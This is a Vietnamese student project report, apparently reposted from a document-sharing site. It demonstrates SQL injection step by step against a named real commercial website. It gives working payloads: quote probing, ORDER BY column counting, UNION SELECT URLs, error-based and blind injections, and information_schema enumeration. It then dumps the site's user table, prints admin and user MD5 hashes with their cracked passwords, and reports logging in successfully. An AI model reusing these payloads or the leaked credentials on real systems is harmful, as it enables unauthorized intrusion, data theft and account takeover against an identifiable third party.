1. Trang chủ >
  2. Công Nghệ Thông Tin >
  3. An ninh - Bảo mật >

CHƯƠNG III: MÔ PHỎNG TẤN CÔNG WEBSERVER BẰNG SỬ DỤNG CÂU LỆNH SELECT

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.55 MB, 30 trang )


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Để phát hiện một ứng dụng web có dính lỗi SQL Injection hay không, ta thêm

vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng

hạn như dấu nháy đơn, dấu nháy kép, dấu chấm phẩy và các ký tự comment

(--, ##, /**/, %)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như

thế nào.

+



+



+



Dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi.

Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm

tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.

Dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là

những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ

được xem là chú thích được bỏ qua khi thực hiện truy vấn.

Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu

một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.



Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng

hạn

ta

thêm

vào

dấu

nháy

đơn:



http://www.hoanghaidoor.vn/?frame=product_detail&id=705’



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 15



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Thông tin của sản phẩm đã mất, như vậy trang web này đã bị dính lỗi SQL

injection.

II.



Xác định số lượng cột trong mệnh đề Select



Từ khóa 'order by' được dùng để sắp xếp thứ tự cho các bản ghi thu được

trong mệnh đề select. Sau order by có thể là tên một cột để xác định rằng kết

quả thu về sẽ được sắp xếp theo giá trị của cột đó (tăng dần hoặc giảm dần).

Sau 'order by' cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order

lớn hơn số cột được select thì chúng ta sẽ thấy thông tin bị mất.

Chèn sau url đoạn mã : order by ….– (… là giá trị số nguyên, thử cho đến khi

nào link bị lỗi thì dừng lại )

Order by được sử dụng để:

+ Làm tiết kiệm thời gian attack.

+ Tính số field ,column có trong CSDL SQL.



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 16



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Ở đây, khi chạy đến order by 21 thì thông tin bị mất, Suy ra số cột có trong

database là 21 -1 =20.

III.



Xác định thông tin, khai thác thông tin



Trong số 20 cột của bảng này có cột bị lỗi. Để tìm cột bị lỗi ta sử

dụng lệnh union.

Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do

đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải

bằng nhau và đều bằng số lượng các trường được select trong mệnh

đề select ban đầu.

SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 17



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Ở trên thanh hackbar của Firefox, ta vào SQL > Union Select

statement và nhập vào số cột của bảng là 20 cột > OK. Hackbar sẽ

tự động điền câu lệnh union cho ta trên thanh địa chỉ:



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 18



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Chạy Excute. Để tìm được cột lỗi. Cột lỗi sẽ được hiện lên những

con số, trường hợp nếu không hiện lên số cột lỗi, ta sẽ sử dụng một

trong các cách sau:

+

+

+

+

+

+



Viewsource

Xem file ảnh bị lỗi để thấy số

Thay số bằng null (vd id=-328 thì thay id=null UNION….)

Thay các column(field) bằng null (vd :UNION SELECT

null,null,….)

Bypass filter (mod_security).

TH hiện ra thông báo thế này: The used SELECT statements

have a different number of columns

Union

select

như

sau:

id=1+and+1=0+UNION

SELECT+1,2…

Hoặc dùng error base:



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 19



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

And (Select 1 From(Select Count( * ),Concat(CHAR (124),

(Select

concat_ws(0x7c,version(),database(),user())),floor

(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables

Group

By

x)a)–



and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–

or

1

group

by

concat_ws(0x7c,version(),database(),current_user,f

loor(rand(0)*2)) having min(0) or 1–

Hoặc dùng blind: and substring(version(),1,1)=5

Tuỳ thời cơ mà biến hoá chúng.

Ta tìm được cột lỗi là 3 và 7. Ta sẽ chọn một trong hai cột bị lỗi này

để từ đó tìm ra lỗ hổng của database. Ở đây ta sẽ khai thác cột 3 để

tìm xem trong database này có những bảng nào.

Để biết được tên bảng, tên cột, ta sử dụng đối tượng

information_schema. Đối tượng này cung cấp các thông tin về

tables, columns, views và procedures… của cơ sở dữ liệu. Ở đây ta

muốn tìm thông tin về các bảng trong cơ sở dữ liệu nên ta sẽ truy

vấn từ information_schema.tables. Lệnh Group_concat để nối

nhiều giá trị với nhau.

Chèn

đoạn



này

vào

số

3:

unhex(hex(group_concat(table_name))) và câu lệnh sau số 20: from

information_schema.tables. Sau đó excute địa chỉ trên. Nó sẽ hiện

ra toàn bộ tên bảng có trong database:

http://www.hoanghaidoor.vn/?frame=product_detail&id=null

UNION SELECT 1,2,unhex(hex(group_concat(table_name))) ,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

from

information_schema.tables



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 20



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S

ET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGIN

ES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY

_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PRO

CESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTIN

ES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSI

ON_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CO

NSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGE

S,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BU

FFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPME

M,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET

,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,tbl_acce

ss,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_orde

r,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_ho

me,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,t

bl_visitor

Chúng ta không quan tâm lắm nhưng table dạng như này:

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S

ET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,… vì đó chỉ là

những table của hệ thống thôi, quan trọng là xác định được table

chứa admin trong mớ hỗn độn phía trên.

Ta có thể xem thông tin bất cứ bảng nào ta muốn, ở đây ta sẽ xem

thông tin từ bảng tbl_user để lấy thông tin user đăng nhập. Để lấy

thông tin các cột trong bảng ta thay các khoá table thành column và

table_schema thành table_name. Để truy cập cho đúng thì ta phải

SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 21



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

chuyển tên bảng cần lấy thông về cơ sở dữ liệu dạng SQL. Để làm

việc này ta bôi đen tên bảng (tbl_user), sau đó vào SQL > MySQL

> MySQL CHAR().

http://www.hoanghaidoor.vn/?frame=product_detail&id=null

UNION SELECT 1,2,unhex(hex(group_concat(column_name))) ,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

from

information_schema.columns where table_name=tbl_user



Excute truy vấn trên, ta được thông tin các cột trong bảng tbl_user.

Bao gồm: id,uid,pwd

Sau công việc này ta đã xác định được 2 cloumn quan trọng nhất là

uid và pwd. Ta tiến hành lấy thông tin. Bằng cách:

SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 22



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Chèn đoạn mã sau vào số 3: group_concat(uid,0x3a,pwd) và sau số

20 sẽ là: from tbl_user – (đây chính là table chứa id và pwd mà ta

đang

khai

thác).

Lưu ý: 0x3a chính là ký tự “:” ngăn cách id và pwd, hoặc 0x2f hay

0x7c là “/”.

http://www.hoanghaidoor.vn/?frame=product_detail&id=null

UNION

SELECT

1,2,group_concat(uid,0x3a,pwd)

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user



,



Sau đó ấn Execute, ta nhận được uid cũng như pwd dưới dạng mã

hóa md5:

admin:827ccb0eea8a706c4c34a16891f84e7b

phamvan:48472492c504e777a664efeff27d9fee

Để

giải



password,

truy

cập

links:

http://md5decrypt.net/en/#answer

nhập

827ccb0eea8a706c4c34a16891f84e7b sau đó ấn giải mã (Dercypt).



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 23



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



Như vậy tài khoản admin có password là 12345. Ta sử dụng thông

tin trên để đăng nhập vào hệ thống, kết quả là đăng nhập thành

công. Tương tự, giải mã password của tài khoản phamvan ta được:

52041688.



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 24



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05



SV BM. MẠNG MÁY TÍNH – KHÓA 58



Page 25



Xem Thêm
Tải bản đầy đủ (.docx) (30 trang)

×